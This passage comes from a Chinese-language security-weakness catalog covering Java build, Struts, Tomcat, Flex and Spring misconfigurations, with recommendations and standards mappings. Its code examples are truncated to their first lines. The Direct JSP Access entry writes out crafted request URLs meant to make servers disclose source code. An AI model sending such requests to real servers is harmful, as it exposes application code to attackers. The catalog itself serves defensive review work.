第二种解决方法综合了传统的手动 dependency 管理方法和全自动化解决方法,这是现在流行的一种做法。手动编译过程的最大优势是减小了攻击机会,它可以通过从内部复制外部 dependency 服务器来实现一个半自动化系统。这样,任何需要利用外部 dependency 的 build system 都能用硬编码的内部 IP 地址来指向内部服务器,以此避开基于 DNS 的攻击风险。如果添加了新的 dependency 并发布了新的版本,可以一次性下载它们,并将其包含在内部存储库中。这一解决方法减小了攻击机会,并且使组织能够充分利用现有的内部网络安全基础架构。
REFERENCES
[1] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[2] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[3] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[4] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001390 CAT II, APSC-DV-001430 CAT II, APSC-DV-001440 CAT II, APSC-DV-003300 CAT II
[5] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001390 CAT II, APSC-DV-001430 CAT II, APSC-DV-001440 CAT II, APSC-DV-003300 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001390 CAT II, APSC-DV-001430 CAT II, APSC-DV-001440 CAT II, APSC-DV-003300 CAT II
Build Misconfiguration: External Ivy Dependency Repository
ABSTRACT
这一 Ant 编译脚本依赖于外部数据源,这会导致攻击者能够将恶意代码插入最终产品中,或者控制编译计算机。
EXPLANATION
Java 开发环境内存在的几个工具能够辅助 dependency 管理:Apache Ant 和 Apache Maven 两种 build system 都包含专门用来帮助管理 dependency 的功能,Apache Ivy 被明确作为 dependency 管理器来部署。尽管这些工具在行为方式上存在差异,但它们都有一种通用的功能,即会自动下载在编译过程中指定的外部 dependency。这样一来,两个不同的开发人员用同一种方式来编译软件就容易得多。开发人员只需在编译文件中存储 dependency 信息,这意味着每个开发人员和编译工程师都通过同一种方式来获得 dependency、编译代码以及进行部署,而不需要进行混乱的手动 dependency 管理。以下的例子演示了如何使用 Ivy、Ant 和 Maven 作为编译过程的一部分来管理外部 dependency。
采用 Ivy 时,开发人员将具体指定 dependency 的名称和版本,而不是列出从中检索 dependency 的显式 URL,Ivy 依靠其底层配置来识别要从中检索 dependency 的服务器。通用组件使得开发人员不必花时间探查 dependency 的具体位置。
例 1:以下内容摘自 Ivy 的 ivy.xml 文件,这些内容显示了开发人员如何用名称和版本来指定多项外部 dependency:
1 | <dependencies> |
两种截然不同的攻击情形会影响这些系统:攻击者可能会危害托管 dependency 的服务器,也可能危害 DNS 服务器,编译计算机用它将对托管 dependency 的服务器主机名的请求重定向到被攻击者控制的计算机。这两种攻击情形都会导致攻击者能够将恶意的 dependency 版本注入到一个未受到危害的计算机上所运行的编译中。
不管攻击者用来投递 Trojan dependency 的攻击手段是什么,这些情形均存在一种共同的因素,即 build system 盲目地接受恶意二进制码并且将其包含在编译中。因为 build system 无法拒绝恶意的二进制码和现有安全机制(如代码审查),所以通常会关注内部开发地代码而不是外部 dependency,这种攻击深潜于内部,不易察觉,它会传播到开发环境各处并有可能传入产品中。
虽然手动编译过程中存在一定的 dependency 受到危害的风险,但是由于自动化 build system 存在从一个外部数据源检索 dependency 的趋势,每当 build system 运行在新环境下时,会大大增加攻击者的攻击机会。攻击者只需在 dependency 服务器或 DNS 服务器多次提取 dependency 时造成一次危害,即会危害发生编译的计算机。
RECOMMENDATIONS
最简单的解决方法是完全避免采用自动化 dependency 管理系统。手动管理 dependency 排除了由 build system 引起意外行为这一潜在危害。很显然,攻击者仍然能针对 dependency 手动检索发动上述攻击之一,但限制 dependency 的检索频率会大大减小攻击者的攻击机会。最终,这个解决方法会致使开发组织依赖于一个看起来陈旧的 build system。基于手动 dependency 管理的系统通常更难以使用和维护,并且在一些软件开发环境中可能不被接受。
第二种解决方法综合了传统的手动 dependency 管理方法和全自动化解决方法,这是现在流行的一种做法。手动编译过程的最大优势是减小了攻击机会,它可以通过从内部复制外部 dependency 服务器来实现一个半自动化系统。这样,任何需要利用外部 dependency 的 build system 都能用硬编码的内部 IP 地址来指向内部服务器,以此避开基于 DNS 的攻击风险。如果添加了新的 dependency 并发布了新的版本,可以一次性下载它们,并将其包含在内部存储库中。这一解决方法减小了攻击机会,并且使组织能够充分利用现有的内部网络安全基础架构。
要通过 Maven 实施这一解决方法,项目应该在一个单独的 Ivy 配置文件(通常为 ivyconf.xml)中对一个内部存储库的 IP 地址进行硬编码。
例 2:以下内容摘自 ivyconf.xml 文件,这些内容演示了正确配置的内部存储库的用法:
1 | <ivyconf> |
REFERENCES
[1] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[2] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[3] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[4] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001390 CAT II, APSC-DV-001430 CAT II, APSC-DV-001440 CAT II, APSC-DV-003300 CAT II
[5] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001390 CAT II, APSC-DV-001430 CAT II, APSC-DV-001440 CAT II, APSC-DV-003300 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001390 CAT II, APSC-DV-001430 CAT II, APSC-DV-001440 CAT II, APSC-DV-003300 CAT II
Build Misconfiguration: External Maven Dependency Repository
ABSTRACT
这一 Maven 编译脚本依赖于外部数据源,这会导致攻击者能够将恶意代码插入最终产品中,或者控制编译计算机。
EXPLANATION
Java 开发环境内存在的几个工具能够辅助 dependency 管理:Apache Ant 和 Apache Maven 两种 build system 都包含专门用来帮助管理 dependency 的功能,Apache Ivy 被明确作为 dependency 管理器来部署。尽管这些工具在行为方式上存在差异,但它们都有一种通用的功能,即会自动下载在编译过程中指定的外部 dependency。这样一来,两个不同的开发人员用同一种方式来编译软件就容易得多。开发人员只需在编译文件中存储 dependency 信息,这意味着每个开发人员和编译工程师都通过同一种方式来获得 dependency、编译代码以及进行部署,而不需要进行混乱的手动 dependency 管理。以下的例子演示了如何使用 Ivy、Ant 和 Maven 作为编译过程的一部分来管理外部 dependency。
采用 Maven 时,开发人员将具体指定 dependency 的名称和版本,而不是列出从中检索 dependency 的显式 URL,Maven 依靠其底层配置来识别要从中检索 dependency 的服务器。通用组件使得开发人员不必花时间探查 dependency 的具体位置。
例 1:以下内容摘自 Maven pom.xml 文件,这些内容显示了开发人员如何用名称和版本来指定多个外部 dependency:
1 | <dependencies> |
两种截然不同的攻击情形会影响这些系统:攻击者可能会危害托管 dependency 的服务器,也可能危害 DNS 服务器,编译计算机用它将对托管 dependency 的服务器主机名的请求重定向到被攻击者控制的计算机。这两种攻击情形都会导致攻击者能够将恶意的 dependency 版本注入到一个未受到危害的计算机上所运行的编译中。
不管攻击者用来投递 Trojan dependency 的攻击手段是什么,这些情形均存在一种共同的因素,即 build system 盲目地接受恶意二进制码并且将其包含在编译中。因为 build system 无法拒绝恶意的二进制码和现有安全机制(如代码审查),所以通常会关注内部开发地代码而不是外部 dependency,这种攻击深潜于内部,不易察觉,它会传播到开发环境各处并有可能传入产品中。
虽然手动编译过程中存在一定的 dependency 受到危害的风险,但是由于自动化 build system 存在从一个外部数据源检索 dependency 的趋势,每当 build system 运行在新环境下时,会大大增加攻击者的攻击机会。攻击者只需在 dependency 服务器或 DNS 服务器多次提取 dependency 时造成一次危害,即会危害发生编译的计算机。
RECOMMENDATIONS
最简单的解决方法是完全避免采用自动化 dependency 管理系统。手动管理 dependency 排除了由 build system 引起意外行为这一潜在危害。很显然,攻击者仍然能针对 dependency 手动检索发动上述攻击之一,但限制 dependency 的检索频率会大大减小攻击者的攻击机会。最终,这个解决方法会致使开发组织依赖于一个看起来陈旧的 build system。基于手动 dependency 管理的系统通常更难以使用和维护,并且在一些软件开发环境中可能不被接受。
第二种解决方法综合了传统的手动 dependency 管理方法和全自动化解决方法,这是现在流行的一种做法。手动编译过程的最大优势是减小了攻击机会,它可以通过从内部复制外部 dependency 服务器来实现一个半自动化系统。这样,任何需要利用外部 dependency 的 build system 都能用硬编码的内部 IP 地址来指向内部服务器,以此避开基于 DNS 的攻击风险。如果添加了新的 dependency 并发布了新的版本,可以一次性下载它们,并将其包含在内部存储库中。这一解决方法减小了攻击机会,并且使组织能够充分利用现有的内部网络安全基础架构。
要通过 Maven 实施这一解决方法,项目应该在 pom.xml 中对一个内部存储库的 IP 地址进行硬编码。在 pom.xml 中明确指定 IP 地址可确保编译使用其相应的内部存储库,内部存储库与具体的项目相关联。或者,也可以在 settings.xml 中指定 IP 地址,这样使得多个项目更容易共享配置。
例 2:以下 Maven pom.xml 演示了显式内部 IP 地址的用法(这些条目也可以用在 settings.xml 中):
1 | <project> |
REFERENCES
[1] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[2] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[3] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[4] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001390 CAT II, APSC-DV-001430 CAT II, APSC-DV-001440 CAT II, APSC-DV-003300 CAT II
[5] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001390 CAT II, APSC-DV-001430 CAT II, APSC-DV-001440 CAT II, APSC-DV-003300 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001390 CAT II, APSC-DV-001430 CAT II, APSC-DV-001440 CAT II, APSC-DV-003300 CAT II
ClassLoader Manipulation: Struts 1
ABSTRACT
使用 ActionForms 的 Struts 1 应用程序容易遭到 ClassLoader 操控。
EXPLANATION
ClassLoader 操控使攻击者可以访问和修改基础应用程序服务器设置。在 Tomcat 8 等一些应用程序服务器上,攻击者可以调整这些设置,以上传网壳并执行任意命令。
RECOMMENDATIONS
当前尚无可用的修补程序来阻止 ClassLoader 操控攻击,并且自 Struts 1 达到其寿终状态以来,还没有推出任何修补程序来防止 Struts 1 用户免受此攻击。
为了能够缓解这种情况,强烈建议安装 Servlet 过滤器,以保护 Struts 1 Servlet 免受 ClassLoader 操控攻击。可在此位置找到 Servlet 过滤器的最新版本:https://github.com/rgielen/struts1filter。
要使用该过滤器,请将以下过滤器声明以及适当的映射添加到要保护的 Struts 1 应用程序的 web.xml 描述符:
1 | <filter> |
REFERENCES
[1] Protect your Struts1 applications Alvaro Muñoz
[2] Standards Mapping - Common Weakness Enumeration CWE ID 470
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[7] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[8] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[9] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Flex Misconfiguration: Debug Information
ABSTRACT
调试信息可帮助攻击者了解系统并规划攻击方式。
EXPLANATION
如果您使用 Blaze DS 来记录所有意外事件,services-config.xml 描述符文件将指定一个 “Logging” XML 元素来描述记录的各个方面。如下所示:
示例:
1 | <logging> |
此 target 标签具有一个名为 level 的属性,为可选项,用来指明日志级别。如果调试级别被设置得过于详细,您的应用程序可能会向日志文件写入敏感数据。
RECOMMENDATIONS
在 Blaze DS 生产环境配置文件中,不要将 level 属性指定为 Debug 或 All。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 11
[2] Standards Mapping - FIPS200 CM
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[5] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[6] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II, APP3620 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II, APP3620 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II, APP3620 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II, APP3620 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II, APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II, APP3620 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II, APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
HTML5: MIME Sniffing
ABSTRACT
应用程序不会将 X-Content-Type-Options 设置为 nosniff,也不会明确禁用此安全标头。
EXPLANATION
MIME 探查是检查字节流内容以推断其中数据文件格式的一种做法。
如果未明确禁用 MIME 探查,则攻击者会操控部分浏览器,让其以非预期方式解析数据,从而引发 Cross-Site Scripting 攻击。对于可能包含用户可控制内容的每个页面,您应该使用 HTTP 标头 X-Content-Type-Options: nosniff。
示例:以下代码配置了受 Spring Security 保护的应用程序,以禁用 MIME 探查保护:
1 | <http auto-config="true"> |
RECOMMENDATIONS
为了确保应用程序不易遭受 MIME 探查的攻击,程序员可以:
1.在应用程序中,为所有页面全局设置 HTTP 标头 X-Content-Type-Options: nosniff。
2.只为可能包含用户可控内容的页面设置必要标头。
此标头对于防止某些攻击类至关重要,不应删除此标头或将其设置为任何其他值。
默认情况下,Spring Security 等框架全局均包含此标头。在这些框架中,确保不将此保护禁用。
REFERENCES
[1] OWASP OWASP List of useful HTTP headers
[2] Standards Mapping - Common Weakness Enumeration CWE ID 554
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [3] CWE ID 020
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[5] Standards Mapping - FIPS200 CM
[6] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.3 Input Validation Requirements, 5.1.4 Input Validation Requirements, 14.1.3 Build
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[10] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[11] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
J2EE Misconfiguration: Cookies Disabled
ABSTRACT
程序不使用 cookie 传输会话标识符,这可能导致易受 session fixation 和 session hijacking 攻击。
EXPLANATION
大多数 Web 应用程序使用会话标识符来唯一标识用户,该标识符通常存储在 cookie 中,并在服务器和 Web 浏览器之间进行透明传输。
没有在 cookie 中存储会话标识符的应用程序有时将这些标识符作为 HTTP 请求参数或 URL 的一部分进行传输。接受 URL 中指定的会话标识符使得攻击者很容易进行 session fixation 攻击。
将会话标识符放在 URL 中还会增加针对应用程序进行 session hijacking 攻击的成功几率。当攻击者控制了受害者的活动会话或会话标识符时,就会发生 session hijacking。对于 Web 服务器、应用程序服务器和 Web 代理而言,通常的做法是存储请求的 URL。如果会话标识符包括在 URL 中,那么也会记录它们。增加能够查看和存储会话标识符的位置就会增加被攻击者攻击的机会。
RECOMMENDATIONS
使用 cookie 存储会话 ID。在 <Context>
标签中将 cookies 属性设置为 true,便可完成此配置。
REFERENCES
[1] The Context Container Apache Software Foundation
[2] Session Fixation Micro Focus Fortify
[3] Standards Mapping - Common Weakness Enumeration CWE ID 384
[4] Standards Mapping - FIPS200 IA
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-23 Session Authenticity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M9 Improper Session Handling
[7] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[8] Standards Mapping - OWASP Top 10 2007 A7 Broken Authentication and Session Management
[9] Standards Mapping - OWASP Top 10 2010 A3 Broken Authentication and Session Management
[10] Standards Mapping - OWASP Top 10 2013 A2 Broken Authentication and Session Management
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3090 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3405 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3405 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3405 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3405 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3405 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3405 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002270 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002270 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002270 CAT II
J2EE Misconfiguration: Debug Information
ABSTRACT
当 Tomcat 调试级别在 3 级或以上时,可能会把敏感数据(包括密码)写入日志文件。
EXPLANATION
如果您正在使用 Tomcat 执行 authentication,Tomcat 部署描述符文件会指定一个 “Realm” 用于 authentication。如下所示:
示例:
1 | <Realm className="org.apache.catalina.realm.JAASRealm" |
此 Realm 标签具有一个名为 debug 的属性,为可选项,用来指明日志级别。数值越大,记录的日志信息越冗长。如果调试级别设置得过高,Tomcat 会将所有的用户名和密码以明文形式写入日志文件中。Tomcat JAASRealm 的相关调试信息的临界值为 3(3 或者更高表示有问题,2 或者更低表示正常),但是这个临界值会因 Tomcat 提供的 Realm 类型的不同而有所不同。
RECOMMENDATIONS
在生产环境中请不要为 Realm 指定 debug 属性。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 215
[2] Standards Mapping - FIPS200 CM
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[5] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[6] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
J2EE Misconfiguration: Direct JSP Access
ABSTRACT
直接访问 Java Server Pages 可能导致 System Information Leak、暴露源代码,甚至执行任意代码。
EXPLANATION
在使用 Web 框架(例如,使用 action 或 servlet 将请求转发给 JSP 的 Struts 和 Spring 框架)构建的应用程序中直接访问 Java Server Pages (JSP),可能导致出现未处理的异常和系统信息泄露。使用经特殊技术处理的请求(例如 http://host/page.jsp%00 或 http://host/page.js%2570),会导致执行不力或配置不佳的应用程序服务器泄露源代码详细信息。更糟的是,如果应用程序允许用户上传任意文件,攻击者可能利用此机制通过 JSP 的形式上传恶意代码并要求上传的页面在服务器上执行恶意代码。
例 1:以下示例显示了构造不佳的安全限制,其中明确允许使用带有 “*” 的角色名称来直接访问 JSP,这表明所有用户均可以访问相应的 Web 资源。
1 | <security-constraint> |
RECOMMENDATIONS
遵守深入防御策略并避免直接访问 JSP。
例 2:以下安全限制可阻止所有用户直接访问 JSP。
1 | <security-constraint> |
REFERENCES
[1] Jordan Dimov JSP Security
[2] Standards Mapping - Common Weakness Enumeration CWE ID 497
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 6.5.5
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
J2EE Misconfiguration: Duplicate Security Role
ABSTRACT
采用相同名称的多个安全角色已存在。重复的安全角色通常表示存在 Leftover Debug Code 或排字错误。
EXPLANATION
重复的安全角色毫无用处,因为只会应用指定安全角色的最后一个定义。
例 1: web.xml 文件中的条目定义了两个 admin 角色。
1 | <security-constraint> |
RECOMMENDATIONS
请不要为单个角色名称定义重复的安全角色。
